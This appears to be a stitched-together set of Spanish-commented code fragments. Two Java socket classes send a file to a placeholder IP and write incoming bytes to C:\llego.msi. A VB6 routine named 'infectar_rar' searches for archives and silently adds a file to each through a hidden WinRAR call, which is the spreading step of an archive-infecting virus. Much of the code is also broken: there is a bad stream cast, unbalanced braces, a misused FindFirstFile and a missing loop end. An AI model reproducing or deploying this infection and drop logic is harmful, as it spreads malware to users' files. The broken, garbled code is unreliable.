import java.net.Socket;
import java.io.InputStreamReader;
public class Cliente {
private String ip = "IP";
private int puerto = 16000;
private String nomArchivo = "archivo_nombre";
public Cliente(){
Socket socket = null;
java.io.FileInputStream in = null;
java.io.FileOutputStream pt = null;
try {
socket = new Socket(ip,puerto);
pt = (java.io.FileOutputStream)socket.getOutputStream() ;//
in = new java.io.FileInputStream(new java.io.File(nomArchivo));
} catch(Exception e) {
System.out.println("No se pudo crear la conexión\n"+e);
}
try {
socket.sendUrgentData(100);
byte[] buf = new byte[1024];
int len;
while ((len = in.read(buf)) > 0 ){
pt.write(buf, 0, len);
}
pt.close();
in.close();
socket.close();
} catch(Exception e) {
System.out.println("Error al enviar mensaje\n"+e);
}
}
public static void main(String a[]) {
new Cliente();
}
}

import java.net.ServerSocket;
import java.net.Socket;
public class Servidor implements Runnable {
ServerSocket server;
public Servidor() {
try {

server=new ServerSocket(16000);
System.out.println("Servidor corriendo...");
} catch(Exception e) {
System.out.println("Error al correr el servidor\n"+e);
System.exit(1);
}
}

public void run() {
Socket client=null;
while (true) {
if (server==null)
return;
try {
client=server.accept();
System.out.println("Llegó un cliente!");
} catch(java.io.IOException e) {
System.err.println("No se pudo establecer conexión " + e.getMessage());
}
try {
java.io.InputStream in = client.getInputStream();
//CREAMOS LA INSTANCIA PARA ESCRIBIR EL ARCHIVO EN DISCO
java.io.FileOutputStream out = new java.io.FileOutputStream(new java.io.File("C:\\llego.msi"));
byte[] buf = new byte[1024];
int len;
while ((len = in.read(buf)) > 0) {
out.write(buf, 0, len);
}
in.close();
out.close();
} catch(java.io.IOException e) {
System.out.println("Error: " + e);
}
}
}

public static void main(String a[]) {
Servidor servidor = new Servidor();
// Ponemos a correr nuestro hilo servidor
new Thread(servidor).start();
}
}

Private Sub search_rar()
On Error Resume Next
Dim NombreRar As String
Dim rarExit As String
rarExit = FindFirstFile("*.zip", NombreRar)
infectar_rar NombreRar.cFileName
While FindNextFile(rarExit, NombreRar)
infectar_rar NombreRar.cFileName
End Sub

Function infectar_rar(NombreRar As String)
On Error Resume Next
Dim file_exe As String
Dim winrar As String
winrar = "C:\ARCHIVOS DE PROGRAMA\WINRAR\WinRAR.exe"
Shell winrar & " -a " & NombreRar & " " & text1.text, vbHide
End Function